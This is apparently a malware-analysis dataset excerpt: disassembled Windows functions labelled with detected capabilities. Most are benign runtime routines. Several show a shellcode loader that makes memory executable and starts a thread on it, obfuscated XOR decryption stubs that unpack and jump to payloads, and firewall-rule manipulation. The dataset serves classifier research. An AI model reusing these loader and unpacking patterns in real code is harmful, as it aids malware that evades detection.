joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403110
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x407288
push 0x403868
push dword fs:[0]
mov dword fs:[0], esp
sub esp, 0x50
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push 0x2000000
call fcn.00404810
pop ecx
mov dword [0x4092e8], eax
call fcn.004032d0
test eax, eax
je 0x40317e
mov dword [ebp - 4], 0
call fcn.00403a80
call fcn.00403bb0
call fcn.00403c90
call fcn.00403fb0
call fcn.00404050
mov ebx, 0x407b6c
cmp ebx, 0x407b6c
jae 0x403198
jmp 0x40318b
push 0xfffffffffffffffe
call fcn.00404110
pop ecx
jmp 0x40321e
call dword [ebx]
add ebx, 4
cmp ebx, 0x407b6c
jb 0x40318b
mov dword [ebp - 0x34], 0
lea eax, [ebp - 0x60]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebx, eax
call fcn.00404200
test byte [ebp - 0x34], 1
je 0x4031c4
movzx edx, word [ebp - 0x30]
jmp 0x4031c9
mov edx, 0xa
push edx
push eax
push 0
push ebx
call fcn.00402350
mov ebx, eax
mov esi, 0x407b6c
cmp esi, 0x407b6c
jae 0x4031ef
call dword [esi]
add esi, 4
cmp esi, 0x407b6c
jb 0x4031e2
push ebx
call fcn.00404240
pop ecx
jmp 0x40321e
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x403fb0
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, eax
cmp byte [esi], 0
jne 0x403fe2
push 0x104
lea eax, [ebp - 0x10c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea esi, [ebp - 0x10c]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push 0
push 0
push esi
call fcn.00403e30
add esp, 0x14
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 8]
lea eax, [edx + eax*4]
push eax
call fcn.00402a80
pop ecx
mov edi, eax
test edi, edi
je 0x404037
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp - 4]
lea eax, [edi + eax*4]
push eax
push edi
push esi
call fcn.00403e30
add esp, 0x14
mov eax, dword [ebp - 4]
dec eax
mov dword [0x4092f0], eax
mov dword [0x4092f4], edi
jmp 0x40403f
push 0xfffffffffffffffc
call fcn.00404110
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x404050
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
mov dword [ebp - 4], eax
test eax, eax
jne 0x40406e
mov eax, dword [0x408030]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esi, eax
xor eax, eax
jmp 0x40408d
or edx, 0xffffffff
inc edx
cmp byte [esi + edx], 0
jne 0x40407a
lea edi, [edx + 1]
cmp byte [esi], 0x3d
je 0x40408b
add eax, edi
add esi, edi
cmp byte [esi], 0
jne 0x404077
inc eax
push eax
call fcn.00402a80
pop ecx
mov ebx, eax
mov dword [0x4092f8], eax
cmp dword [0x4092f8], 0
je 0x4040f7
mov eax, dword [ebp - 4]
mov esi, eax
jmp 0x4040d9
or eax, 0xffffffff
inc eax
cmp byte [esi + eax], 0
jne 0x4040b4
lea edi, [eax + 1]
cmp byte [esi], 0x3d
je 0x4040d7
mov ecx, ebx
mov edx, esi
push ecx
sub ecx, edx
mov al, byte [edx]
mov byte [ecx + edx], al
inc edx
test al, al
jne 0x4040ca
pop eax
add ebx, edi
add esi, edi
cmp byte [esi], 0
jne 0x4040b1
mov byte [ebx], 0
mov eax, dword [ebp - 4]
cmp eax, dword [0x408030]
je 0x4040ff
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
jmp 0x4040ff
push 0xfffffffffffffffc
call fcn.00404110
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x405340
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x810
push ebx
push esi
push edi
mov eax, dword [ebp + 0x14]
mov edx, dword [ebp + 0x10]
lea esi, [edx + eax]
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov eax, dword [ebp + 0x10]
mov edi, eax
cmp edi, esi
jae 0x405414
lea eax, [ebp - 0x11]
lea edx, [ebp - 0x810]
jmp 0x405397
cmp byte [edi], 0xa
jne 0x40538f
inc dword [ebp - 8]
inc edx
mov byte [edx - 1], 0xd
inc edx
inc edi
mov cl, byte [edi - 1]
mov byte [edx - 1], cl
cmp edx, eax
jae 0x40539f
cmp edi, esi
jb 0x405382
lea eax, [ebp - 0x810]
mov ebx, edx
sub ebx, eax
push dword [ebp + 0xc]
call fcn.00405bb0
pop ecx
test eax, eax
je 0x4053d3
call dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
push ebx
lea edx, [ebp - 0x810]
push edx
push dword [0x4096f8]
push eax
call fcn.00405d00
add esp, 0x10
push dword [ebp + 0xc]
call fcn.00405b60
pop ecx
push 0
lea edx, [ebp - 0x10]
push edx
push ebx
lea edx, [ebp - 0x810]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40540b
mov eax, dword [ebp - 0x10]
add dword [ebp - 0xc], eax
cmp dword [ebp - 0x10], ebx
jb 0x405414
inc edi
cmp edi, esi
jb 0x405377
jmp 0x405414
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0xc]
mov dword [eax], edx
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 8]
mov dword [eax + 4], edx
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 4]
mov dword [eax + 8], edx
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405440
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x814
push ebx
push esi
push edi
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebp + 0x14]
mov edx, dword [ebp + 0x10]
add edx, eax
mov dword [ebp - 0x814], edx
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov eax, dword [ebp + 0x10]
mov esi, eax
cmp esi, dword [ebp - 0x814]
jae 0x405547
lea eax, [ebp - 0x12]
lea edx, [ebp - 0x810]
jmp 0x4054af
cmp word [esi], 0xa
jne 0x4054a1
add dword [ebp - 8], 2
add edx, 2
mov word [edx - 2], 0xd
add edx, 2
add esi, 2
mov cx, word [esi - 2]
mov word [edx - 2], cx
cmp edx, eax
jae 0x4054bb
cmp esi, dword [ebp - 0x814]
jb 0x40548e
lea eax, [ebp - 0x810]
mov edi, edx
sub edi, eax
push ebx
call fcn.00405bb0
pop ecx
test eax, eax
je 0x40551e
push ebx
call fcn.00405b60
pop ecx
push 0
lea edx, [ebp - 0x10]
push edx
mov edx, edi
shr edx, 1
push edx
lea edx, [ebp - 0x810]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
test eax, eax
je 0x405513
shl dword [ebp - 0x10], 1
mov eax, dword [ebp - 0x10]
add dword [ebp - 0xc], eax
cmp dword [ebp - 0x10], edi
jb 0x405547
add esi, 2
cmp esi, dword [ebp - 0x814]
jb 0x405483
jmp 0x405547
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
jmp 0x405547
push ebx
call fcn.00405b60
pop ecx
push 0
lea edx, [ebp - 0x10]
push edx
push edi
lea edx, [ebp - 0x810]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x4054f7
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0xc]
mov dword [eax], edx
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 8]
mov dword [eax + 4], edx
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 4]
mov dword [eax + 8], edx
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405570
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc14
push ebx
push esi
push edi
mov eax, dword [ebp + 0x14]
mov edx, dword [ebp + 0x10]
add edx, eax
mov dword [ebp - 0xc14], edx
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov eax, dword [ebp + 0x10]
mov ebx, eax
cmp ebx, dword [ebp - 0xc14]
jae 0x40568a
lea eax, [ebp - 0xe]
lea edx, [ebp - 0x40c]
jmp 0x4055d8
cmp word [ebx], 0xa
jne 0x4055ca
add edx, 2
mov word [edx - 2], 0xd
add edx, 2
add ebx, 2
mov cx, word [ebx - 2]
mov word [edx - 2], cx
cmp edx, eax
jae 0x4055e4
cmp ebx, dword [ebp - 0xc14]
jb 0x4055bb
push 0
push 0
push 0x800
lea eax, [ebp - 0xc0c]
push eax
lea eax, [ebp - 0x40c]
sub edx, eax
sar edx, 1
push edx
lea eax, [ebp - 0x40c]
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
je 0x405630
lea esi, [ebp + eax - 0xc0c]
lea eax, [ebp - 0xc0c]
cmp esi, eax
jbe 0x405668
lea edi, [ebp - 0xc0c]
jmp 0x40563b
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
jmp 0x40568a
push dword [ebp + 0xc]
call fcn.00405b60
pop ecx
push 0
lea edx, [ebp - 0xc10]
push edx
mov edx, esi
sub edx, edi
push edx
push edi
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x405681
add edi, dword [ebp - 0xc10]
cmp edi, esi
jb 0x40563b
mov eax, ebx
sub eax, dword [ebp + 0x10]
mov dword [ebp - 0xc], eax
add ebx, 2
cmp ebx, dword [ebp - 0xc14]
jb 0x4055b0
jmp 0x40568a
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0xc]
mov dword [eax], edx
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 8]
mov dword [eax + 4], edx
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 4]
mov dword [eax + 8], edx
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402a7e
Capabilities:
Encode data using xor

Disassembly:
push esi
xor esi, esi
push edi
mov edi, dword [esp + 0xc]
cmp dword [esp + 0x10], esi
jbe 0x402acb
mov al, byte [edi + esi]
xor al, 0x73
sub al, 0x58
push 0x41f390
push 0x4784b0
mov byte [edi + esi], al
call fcn.00401374
push eax
call fcn.004019f8
mov al, byte [edi + esi]
add esp, 0xc
sub al, 0x14
xor al, 0x74
add al, 0x4e
xor al, 0x70
sub al, 0x65
xor al, 0x22
sub al, 0x73
xor al, 0x2a
mov byte [edi + esi], al
inc esi
cmp esi, dword [esp + 0x10]
jb 0x402a8c
pop edi
pop esi
ret

Function at 0x402f68
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x477300]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x41f3b0
lea ecx, [ebp - 0x1c]
call fcn.00401af2
push 0xc
call fcn.004065e4
xor esi, esi
pop ecx
test eax, eax
je 0x402fa1
lea ecx, [ebp - 0x1c]
push ecx
mov ecx, eax
call fcn.00401b4b
jmp 0x402fa3
mov eax, esi
mov eax, dword [eax + 4]
shl eax, 2
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
push eax
push 0x40
push 0x4ac
push 0x476e18
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
call dword [sym.imp.KERNEL32.DLL_FreeConsole]
push esi
push esi
push esi
push 0x402a6c
push esi
push esi
call dword [sym.imp.KERNEL32.DLL_CreateThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
call fcn.00402a52
mov edx, 0x476e18
add edx, 0x188
mov esi, 0x429018
push esi
call edx
lea ecx, [ebp - 0x1c]
call fcn.00402918
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop esi
call fcn.00406622
leave
ret

Function at 0x4071ff
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
test eax, eax
je 0x40723e
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40723e
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40723e
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40723e
cmp dword [ecx + 0x74], 0xe
jbe 0x40723e
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x411ef9
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x422500
push 0x4224f8
push 0x420d94
push 0x1e
call fcn.00411d66
mov esi, eax
add esp, 0x10
test esi, esi
je 0x411f2d
push dword [ebp + 8]
mov ecx, esi
call dword [0x41f140]
call esi
jmp 0x411f33
call dword [sym.imp.KERNEL32.DLL_TlsAlloc]
pop esi
pop ebp
ret 4
Function at 0x418094
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.DLL_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x418131
push ebx
push esi
call fcn.0041805d
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00416ce2
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x4180de
push esi
call dword [sym.imp.KERNEL32.DLL_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x418130
push edi
push eax
call fcn.0041224f
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x4180fe
call fcn.0041189b
pop ecx
push esi
call dword [sym.imp.KERNEL32.DLL_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x41812f
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00416ce2
add esp, 0x20
test eax, eax
jne 0x41811d
push edi
call fcn.0041189b
jmp 0x418125
push ebx
call fcn.0041189b
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.DLL_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x41dd00
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41dd2d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41dd2d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x100023dc
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x100023eb
pop dword [ebp - 0x2c]
mov eax, 0x6d4f12dd
sub eax, 0x5d4eeef2
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0xe917df5f
sub dword [ebp - 0x3c], 0x9ac59a14
mov dword [ebp - 0x38], 0x6b3f5be6
add dword [ebp - 0x38], 0xc6f3f05f
mov dword [ebp - 0x34], 0xe3692a2c
add dword [ebp - 0x34], 0x68e31a02
mov dword [ebp - 0x30], 0x6b9e85f4
sub dword [ebp - 0x30], 0x6b9e85f4
lea eax, [ebp - 0x3c]
push eax
mov eax, 0x3f572e0b
sub eax, 0x2f568e07
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0xbe11ba99
sub dword [ebp - 0x3c], 0x499f5143
mov dword [ebp - 0x38], 0xd711d26c
add dword [ebp - 0x38], 0x6a5a8f09
mov dword [ebp - 0x34], 0xadd7407b
sub dword [ebp - 0x34], 0x4a67d40f
mov dword [ebp - 0x30], 0x2d2dcb77
sub dword [ebp - 0x30], 0x2d2dcb77
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, 0x7964af3c
add eax, 0x969bf0cc
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x3827f
push 0
call eax
mov ecx, 0x4e36
mov ebx, eax
mov esi, 0x1000f800
add esi, dword [ebp - 0x2c]
mov edi, 0xdd7b60e4
add edi, 0xa39dfe8c
sub dword [ebp - 0x24], edi
mov edx, dword [esi]
xor dword [ebp - 0x14], edx
xor edx, edi
add dword [ebp - 0xc], 0x98649105
mov dword [ebx], edx
add dword [ebp - 0x24], esi
add ebx, 0x5ea7268c
add ebx, 0xa158d978
add esi, 0xde7ef56d
add esi, 0x21810a97
loop 0x10002501
add eax, 0x12bab
xor ebx, ebx
add ebx, eax
add eax, 0xfaed5167
add eax, 0x512ae9e
mov ecx, 0x10000000
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x414838
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x44ec90]
jne 0x414842
repz ret
jmp fcn.0041a6eb

Function at 0x420072
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x420081
pop dword [ebp - 0x30]
mov eax, 0x518ce9b3
add eax, 0xaeb516ce
sub dword [ebp - 0x30], eax
push 0x40
push 0x1000
push 0x4d80e
push 0
mov eax, 0x29d757e5
add eax, 0xd66c6a73
add eax, dword [ebp - 0x30]
call dword [eax]
mov ecx, 0x2237889
add ecx, 0xfddccfba
xor edx, edx
add edx, eax
mov edi, 0x46b200
add edi, dword [ebp - 0x30]
mov esi, 0xff1eabca
sub esi, 0x8920a4d
mov ebx, dword [edi]
xor dword [ebp - 0x20], ebx
xor ebx, esi
add dword [ebp - 0x10], 0x2cef73c
mov dword [edx], ebx
add dword [ebp - 0x2c], esi
add edx, 4
add edi, 0x6c28c6fc
sub edi, 0x6c28c6f8
loop 0x4200dc
add eax, 0x7b0536e9
add eax, 0x84fbdcf6
xor ebx, ebx
add ebx, eax
add eax, 0x4990f974
sub eax, 0x4990f96f
mov ecx, 0xf6853237
sub ecx, 0xf6453237
add ecx, dword [ebp - 0x30]
call ebx
leave
ret
Function at 0x410110
Capabilities:
Access firewall settings via inetfwmgr

Disassembly:
push esi
push 2
push 0
mov esi, eax
call dword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
jge 0x410128
cmp eax, 0x80010106
jne 0x4101a6
push edi
push esi
push 0x6f949c
push 1
push 0
push 0x6f948c
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov edi, eax
test edi, edi
jge 0x410157
push edi
push str.CoCreateInstance_NetFwMgr_failed:_0x_08lx_n
call fcn.005cbf10
add esp, 8
mov eax, edi
pop edi
pop esi
ret
mov eax, dword [esi]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x1c]
push ebx
lea edi, [esi + 4]
push edi
push eax
call edx
mov ebx, eax
test ebx, ebx
jge 0x410180
push ebx
push str.get_LocalPolicy_failed:_0x_08lx_n
call fcn.005cbf10
add esp, 8
mov eax, ebx
pop ebx
pop edi
pop esi
ret
mov eax, dword [edi]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x1c]
add esi, 8
push esi
push eax
call edx
mov esi, eax
test esi, esi
jge 0x4101a4
push esi
push str.get_CurrentProfile_failed:_0x_08lx_n
call fcn.005cbf10
mov eax, esi
add esp, 8
pop ebx
pop edi
pop esi
ret

Function at 0x4104a0
Capabilities:
Access firewall policy via inetfwpolicy2

Disassembly:
push esi
push 2
push 0
mov esi, eax
call dword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
jge 0x4104b8
cmp eax, 0x80010106
jne 0x41050c
push edi
push esi
push 0x6f94dc
push 1
push 0
push 0x6f94cc
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov edi, eax
test edi, edi
jge 0x4104e7
push edi
push str.CoCreateInstance_NetFwPolicy2_failed:_0x_08lx_n
call fcn.005cbf10
add esp, 8
mov eax, edi
pop edi
pop esi
ret
mov eax, dword [esi]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x48]
add esi, 4
push esi
push eax
call edx
mov esi, eax
test esi, esi
jge 0x41050b
push esi
push str.get_Rules_failed:_0x_08lx_n
call fcn.005cbf10
mov eax, esi
add esp, 8
pop edi
pop esi
ret
Function at 0x410590
Capabilities:
Access firewall rule properties via inetfwrule

Disassembly:
push ecx
push esi
mov esi, dword [esp + 0xc]
cmp dword [esi + 4], 0
jne 0x4105a6
mov eax, 0x80004001
pop esi
pop ecx
ret 0xc
push ebx
push ebp
push edi
push 0x7ff168
call fcn.00410050
mov edi, eax
mov eax, dword [esp + 0x20]
push eax
call fcn.00410050
mov ecx, dword [esp + 0x28]
push ecx
mov ebp, eax
call fcn.00410050
mov dword [esp + 0x28], eax
add esp, 0xc
lea ebx, [esp + 0x20]
mov eax, esi
mov dword [esp + 0x10], 0
call fcn.00410510
mov esi, eax
test esi, esi
jge 0x410603
push esi
push str.IsAppEnabled_failed:_0x_08lx_n
call fcn.005cbf10
add esp, 8
pop edi
pop ebp
pop ebx
mov eax, esi
pop esi
pop ecx
ret 0xc
cmp dword [esp + 0x20], 0
je 0x410614
pop edi
pop ebp
pop ebx
xor eax, eax
pop esi
pop ecx
ret 0xc
lea edx, [esp + 0x10]
push edx
push 0x6f94fc
push 1
push 0
push 0x6f94ec
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov esi, eax
test esi, esi
jge 0x41063e
push esi
push str.CoCreateInstance_NetFwRule_failed:_0x_08lx_n
jmp 0x4106cd
mov eax, dword [esp + 0x10]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x20]
push edi
push eax
call edx
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x1c]
mov ecx, dword [eax]
push edx
push eax
mov eax, dword [ecx + 0x28]
call eax
mov eax, dword [esp + 0x10]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x30]
push ebp
push eax
call edx
mov eax, dword [esp + 0x10]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x40]
push 0x100
push eax
call edx
mov eax, dword [esp + 0x10]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x98]
push 6
push eax
call edx
mov eax, dword [esp + 0x10]
mov ecx, dword [eax]
mov edx, dword [ecx + 0xa8]
push 1
push eax
call edx
mov eax, dword [esp + 0x10]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x88]
push 0xffffffffffffffff
push eax
call edx
mov eax, dword [esp + 0x18]
mov eax, dword [eax + 4]
mov edx, dword [esp + 0x10]
mov ecx, dword [eax]
push edx
push eax
mov eax, dword [ecx + 0x20]
call eax
mov esi, eax
test esi, esi
jge 0x4106d5
push esi
push str.Firewall_Rule_Add_failed:_0x_08lx_n
call fcn.005cbf10
add esp, 8
push edi
mov edi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
call edi
push ebp
call edi
mov ecx, dword [esp + 0x1c]
push ecx
call edi
mov eax, dword [esp + 0x10]
test eax, eax
je 0x4106f8
mov edx, dword [eax]
push eax
mov eax, dword [edx + 8]
call eax
pop edi
pop ebp
pop ebx
mov eax, esi
pop esi
pop ecx
ret 0xc
Function at 0x410920
Capabilities:
Copy file

Disassembly:
sub esp, 0x614
mov eax, dword [0x734fd0]
xor eax, esp
mov dword [esp + 0x610], eax
push esi
push edi
push 0x104
lea eax, [esp + 0x118]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x114]
push 0x5c
push ecx
call fcn.005f3190
mov esi, eax
inc esi
add esp, 8
cmp esi, 1
jne 0x41097b
push 0
push 0x14
push str..GenerateUpdaterXML.cpp
push str._DWORD_fname___1
call fcn.005cc270
add esp, 0x10
lea edx, [esp + 8]
push edx
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x11c]
push ecx
call fcn.005cccc0
add esp, 0xc
test al, al
jne 0x4109ae
lea edx, [esp + 0x114]
push edx
push str.failed_to_get_crc_for__s_n
call fcn.005cc130
add esp, 8
push str.1.9.0
push esi
lea eax, [esp + 0x18]
push str._s__s.exe
push eax
call fcn.00410ab0
add esp, 0x10
push 0
lea ecx, [esp + 0x14]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x4109eb
lea edx, [esp + 0x10]
push edx
push esi
push str.unable_to_copy__s___s_n
call fcn.005cc130
add esp, 0xc
push 0x2f
push str.http:__140.99.97.165_iFATz_patch_launcher_wzupd.xml
call fcn.005f3190
mov esi, eax
add esp, 8
test esi, esi
jne 0x410a15
push eax
push 0x21
push str..GenerateUpdaterXML.cpp
push str.updater_file
call fcn.005cc270
add esp, 0x10
lea edi, [esi + 1]
push 0x6f958c
push edi
call fcn.005cd1d0
mov esi, eax
push 0x6f9590
push esi
call fcn.005f306f
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x1c]
push eax
push str.1.9.0
push ecx
lea edx, [esp + 0x2c]
push edx
push str.http:__140.99.97.165_iFATz_patch_launcher_
push str.__u_url__s_s__crc__u__ver__s__size__u____n
push esi
call fcn.005f306f
push str.__p__n
push esi
call fcn.005f306f
push esi
call fcn.005f3234
lea eax, [esp + 0x48]
push eax
push edi
lea ecx, [esp + 0x258]
push str.XML__s_generated_nnew_exe:_s
push ecx
call fcn.00410ad0
add esp, 0x48
push 0
push str.Updater_XML
lea edx, [esp + 0x220]
push edx
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, dword [esp + 0x618]
pop edi
pop esi
xor ecx, esp
call fcn.005f2c33
add esp, 0x614
ret

Function at 0x4114a0
Capabilities:
Get cpu information
Query or enumerate registry value

Disassembly:
sub esp, 8
lea eax, [esp + 4]
push eax
push 0x20019
push 0
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4114ec
mov edx, dword [esp + 0xc]
lea ecx, [esp]
push ecx
add edx, 0x88
push edx
push eax
push eax
mov eax, dword [esp + 0x14]
push str.MHz
push eax
mov dword [esp + 0x18], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
add esp, 8
ret 4
Function at 0x4118e0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x10
lea eax, [esp]
push eax
push 0xf003f
push 0
push str.SoftwareArktos_Entertainment_GroupWarZ
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x411908
mov al, 1
add esp, 0x10
ret
mov eax, dword [esp]
push esi
lea ecx, [esp + 8]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
push 0
push str.UpdaterTime1
push eax
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0
mov dword [esp + 0x20], 8
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [esp + 4]
push ecx
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x41197a
push esi
call fcn.005f35d9
mov esi, dword [esp + 0x10]
mov ecx, dword [esp + 0x14]
add esp, 4
add esi, 0x2a300
adc ecx, 0
cmp edx, ecx
jg 0x41197a
jl 0x411973
cmp eax, esi
jae 0x41197a
xor al, al
pop esi
add esp, 0x10
ret
mov al, 1
pop esi
add esp, 0x10
ret

Function at 0x411b30
Capabilities:
Get common file path

Disassembly:
sub esp, 0xb14
mov eax, dword [0x734fd0]
xor eax, esp
mov dword [esp + 0xb10], eax
push 0x104
lea eax, [esp + 0x210]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp]
push ecx
lea edx, [esp + 0x10c]
push edx
push 0x104
lea eax, [esp + 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
mov eax, dword [esp]
test eax, eax
je 0x411b83
mov byte [eax - 1], 0
lea ecx, [esp + 4]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea edx, [esp + 4]
push edx
lea eax, [esp + 0x10c]
push eax
call fcn.005f6c3d
add esp, 8
test eax, eax
je 0x411be5
lea ecx, [esp + 0x108]
push ecx
lea edx, [esp + 8]
push edx
lea eax, [esp + 0x318]
push str.Updater_current_directory___s__is_different_from_working_directory___s_
push eax
call fcn.004158e0
add esp, 0x10
push 0x30
push str.Warning
lea ecx, [esp + 0x318]
push ecx
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, dword [esp + 0xb10]
xor ecx, esp
mov al, 1
call fcn.005f2c33
add esp, 0xb14
ret